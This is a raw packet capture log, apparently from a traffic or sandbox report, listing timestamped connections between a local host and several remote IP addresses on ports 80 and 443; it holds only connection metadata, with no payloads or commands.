Nov 17, 2024 22:20:49.476990938 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.477006912 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.477037907 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.477077007 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.477385044 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.477417946 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.477435112 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.477453947 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.477459908 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.477488041 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.477499008 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.477526903 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.477663994 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.477693081 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.477742910 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.477782965 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.493894100 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:49.493921995 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:49.493979931 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:49.494018078 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:49.494036913 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:49.494220018 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:49.516611099 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.516628981 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.516645908 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.516760111 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.516760111 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.517776966 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.517806053 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.517821074 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.517837048 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.517838001 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.517852068 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.517872095 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.517890930 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.517915964 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.517946005 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.517961979 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.517978907 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.517992973 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.517996073 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.518009901 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.518030882 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.524477959 CET	443	60868	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.525103092 CET	60868	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.525127888 CET	443	60868	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.525566101 CET	60868	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.525569916 CET	443	60868	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.532633066 CET	443	60869	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.533579111 CET	60869	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.533579111 CET	60869	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.533601999 CET	443	60869	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.533622026 CET	443	60869	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.534061909 CET	443	60871	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:49.534451962 CET	60871	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:49.534460068 CET	443	60871	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:49.534980059 CET	443	60871	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:49.535310030 CET	60871	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:49.535408974 CET	443	60871	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:49.535568953 CET	60871	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:49.535568953 CET	60871	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:49.535579920 CET	443	60871	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:49.544512033 CET	443	60870	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.545066118 CET	60870	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.545078039 CET	443	60870	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.545875072 CET	60870	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.545877934 CET	443	60870	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.560065031 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.560084105 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.560108900 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.560139894 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.560156107 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.560183048 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.560198069 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.560198069 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.560214043 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.560230017 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.560231924 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.560247898 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.560261011 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.560276985 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.560286999 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.560319901 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.569997072 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:49.570024014 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:49.570080996 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:49.570111990 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:49.570132017 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:49.570154905 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:49.632129908 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.637018919 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.654349089 CET	443	60868	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.654443979 CET	443	60868	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.655174017 CET	60868	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.655699015 CET	60868	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.655718088 CET	443	60868	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.655729055 CET	60868	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.655735016 CET	443	60868	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.658720970 CET	60875	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.658801079 CET	443	60875	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.659430027 CET	60875	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.659569025 CET	60875	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.659588099 CET	443	60875	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.664268970 CET	443	60869	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.664300919 CET	443	60869	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.664355993 CET	443	60869	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.664381027 CET	60869	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.664406061 CET	60869	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.664850950 CET	60869	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.664850950 CET	60869	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.664870024 CET	443	60869	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.664880037 CET	443	60869	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.667052031 CET	60876	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.667085886 CET	443	60876	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.667748928 CET	60876	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.667862892 CET	60876	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.667875051 CET	443	60876	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.671242952 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:49.671266079 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:49.671324015 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:49.671346903 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:49.671370983 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:49.671389103 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:49.671958923 CET	443	60872	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.672389984 CET	60872	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.672415972 CET	443	60872	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.672904015 CET	60872	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.672908068 CET	443	60872	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.678936005 CET	443	60870	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.678993940 CET	443	60870	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.679209948 CET	60870	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.679234982 CET	60870	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.679244995 CET	443	60870	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.679253101 CET	60870	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.679258108 CET	443	60870	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.681348085 CET	60877	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.681384087 CET	443	60877	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.681602955 CET	60877	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.681755066 CET	60877	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.681772947 CET	443	60877	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.727725029 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:49.727751970 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:49.727826118 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:49.727844954 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:49.727864027 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:49.727885962 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:49.800266981 CET	443	60871	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:49.800299883 CET	443	60871	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:49.800319910 CET	443	60871	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:49.800384998 CET	60871	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:49.800400019 CET	443	60871	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:49.800506115 CET	60871	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:49.800506115 CET	60871	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:49.803805113 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:49.803828955 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:49.803860903 CET	443	60872	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.803891897 CET	443	60872	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.803904057 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:49.803915977 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:49.803956032 CET	60872	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.803970098 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:49.803976059 CET	443	60872	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.803992987 CET	443	60872	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.804224968 CET	60872	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.804244041 CET	443	60872	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.804255962 CET	60872	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.804255962 CET	60872	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.804265022 CET	443	60872	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.804271936 CET	443	60872	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.807838917 CET	60878	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.807878971 CET	443	60878	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.808157921 CET	60878	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.808307886 CET	60878	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.808324099 CET	443	60878	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.904792070 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:49.904820919 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:49.904901981 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:49.904928923 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:49.904963017 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:49.904974937 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:49.913353920 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.913391113 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.913463116 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.913482904 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.913497925 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.913533926 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.913552046 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.913556099 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.913587093 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.913625002 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.913639069 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.913680077 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.913691998 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.913731098 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.913752079 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.913795948 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.913804054 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.913842916 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.913861990 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.913882017 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.913883924 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.913922071 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.913966894 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.914017916 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.914025068 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.914060116 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.914093971 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.914129019 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.914139986 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.914164066 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.914171934 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.914210081 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.914212942 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.914249897 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.914256096 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.914284945 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.914293051 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.914319992 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.914521933 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.917256117 CET	443	60871	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:49.917294025 CET	443	60871	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:49.917421103 CET	60871	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:49.917421103 CET	60871	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:49.917437077 CET	443	60871	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:49.917642117 CET	60871	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:49.961986065 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:49.962013960 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:49.962126017 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:49.962126017 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:49.962152004 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:49.962194920 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:50.030565977 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.030601978 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.030623913 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.030687094 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.030703068 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.030716896 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.030716896 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.030755997 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.030755997 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.034006119 CET	443	60871	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:50.034039021 CET	443	60871	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:50.034138918 CET	60871	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:50.034140110 CET	60871	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:50.034153938 CET	443	60871	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:50.035331011 CET	60871	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:50.037583113 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:50.037611961 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:50.037663937 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:50.037698030 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:50.037717104 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:50.037746906 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:50.053316116 CET	443	60873	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:50.053977966 CET	60873	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:50.054003954 CET	443	60873	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:50.054945946 CET	60873	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:50.054950953 CET	443	60873	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:50.054982901 CET	60873	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:50.054991007 CET	443	60873	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:50.074057102 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.074125051 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.074136019 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.074189901 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.074203968 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.074230909 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.074243069 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.074248075 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.074280024 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.074281931 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.074299097 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.074321985 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.074333906 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.074368954 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.074395895 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.074402094 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.074420929 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.074438095 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.074455023 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.074496984 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.074521065 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.074531078 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.074549913 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.074567080 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.074573994 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.074603081 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.074637890 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.074651003 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.074671984 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.074731112 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.074764967 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.074800014 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.074834108 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.074837923 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.074870110 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.074877024 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.074903965 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.074938059 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.074949980 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.074974060 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.074985981 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.075618029 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.079025984 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:50.079080105 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:50.079108000 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:50.079112053 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:50.079149008 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:50.079169035 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:50.080286980 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:50.080306053 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:50.148195982 CET	443	60874	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.148849964 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.148915052 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.148952961 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.148952961 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.148981094 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.148989916 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.149003029 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.149029016 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.149041891 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.149102926 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.152091980 CET	443	60871	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:50.152131081 CET	443	60871	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:50.152185917 CET	60871	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:50.152194023 CET	443	60871	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:50.152230024 CET	60871	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:50.152230024 CET	60871	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:50.158483982 CET	60874	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.158519030 CET	443	60874	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.159092903 CET	60874	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.159101963 CET	443	60874	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.165728092 CET	60879	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:50.165759087 CET	443	60879	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:50.166028976 CET	60879	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:50.166780949 CET	60879	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:50.166794062 CET	443	60879	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:50.189610004 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.189650059 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.189703941 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.189723015 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.189749956 CET	80	60797	185.215.113.206	192.168.2.7
